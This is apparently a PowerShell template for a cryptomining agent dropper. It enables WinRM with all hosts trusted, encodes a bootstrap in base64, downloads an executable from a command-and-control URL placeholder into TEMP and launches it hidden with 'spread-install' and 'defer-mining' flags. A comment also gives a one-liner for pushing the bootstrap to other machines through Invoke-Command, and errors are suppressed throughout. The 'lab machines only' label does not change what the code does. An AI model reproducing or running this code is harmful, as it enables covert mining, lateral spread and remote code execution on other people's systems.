28 lines
1.4 KiB
PowerShell
28 lines
1.4 KiB
PowerShell
# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
|
|
# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
|
|
# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
|
|
$ErrorActionPreference = 'SilentlyContinue'
|
|
$ProgressPreference = 'SilentlyContinue'
|
|
|
|
function Enable-WinRMBootstrap {
|
|
Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
|
|
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
|
|
}
|
|
|
|
$bootstrap = @'
|
|
$ErrorActionPreference = 'SilentlyContinue'
|
|
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
|
|
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
|
$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
|
|
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
|
|
if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
|
|
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
|
'@
|
|
|
|
Enable-WinRMBootstrap
|
|
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
|
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded
|
|
|
|
# Remote one-liner (run from jump box with creds):
|
|
# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }
|